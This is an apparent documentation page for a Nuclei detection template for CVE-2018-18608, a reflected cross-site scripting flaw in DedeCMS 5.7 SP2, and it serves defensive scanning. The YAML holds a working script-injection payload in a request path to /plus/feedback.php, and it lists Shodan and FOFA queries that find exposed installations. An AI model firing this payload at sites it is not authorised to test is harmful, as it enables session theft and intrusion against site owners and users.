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DedeCMS 5.7 SP2 - Cross-Site Scripting

ID: CVE-2018-18608

Severity: medium

Author: ritikchaddha

Tags: cve2018,cve,dedecms,xss

Description

Section titled “Description”

DedeCMS 5.7 SP2 is vulnerable to cross-site scripting via the function named GetPageList defined in the include/datalistcp.class.php file that is used to display the page numbers list at the bottom of some templates, as demonstrated by the PATH_INFO to /member/index.php, /member/pm.php, /member/content_list.php, or /plus/feedback.php.

YAML Source

Section titled “YAML Source”
id: CVE-2018-18608


info:
  name: DedeCMS 5.7 SP2 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    DedeCMS 5.7 SP2 is vulnerable to cross-site scripting via the function named GetPageList defined in the include/datalistcp.class.php file that is used to display the page numbers list at the bottom of some templates, as demonstrated by the PATH_INFO to /member/index.php, /member/pm.php, /member/content_list.php, or /plus/feedback.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of DedeCMS or apply the official patch provided by the vendor to fix the XSS vulnerability.
  reference:
    - https://github.com/ky-j/dedecms/issues/8
    - https://github.com/ky-j/dedecms/files/2504649/Reflected.XSS.Vulnerability.exists.in.the.file.of.DedeCMS.V5.7.SP2.docx
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18608
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-18608
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.41301
    cpe: cpe:2.3:a:dedecms:dedecms:5.7:sp2:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: dedecms
    product: dedecms
    shodan-query:
      - http.html:"DedeCms"
      - cpe:"cpe:2.3:a:dedecms:dedecms"
      - http.html:"dedecms"
    fofa-query:
      - body="dedecms"
      - app="dedecms"
  tags: cve2018,cve,dedecms,xss


http:
  - method: GET
    path:
      - "{{BaseURL}}/plus/feedback.php/rp4hu%27><script>alert%28document.domain%29<%2fscript>?aid=3"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'><script>alert(document.domain)</script>"
          - "DedeCMS Error Warning!"
        condition: and


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 490a004630440220320fdd12d7d3140996883db10df9189825a19afcaead332bef3659a6309c36ac02200b1654ee76d71c0b90e98e7345c9267b8a9dd3f6129d2b4dc501b3a1e51e3725:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-18608.yaml"

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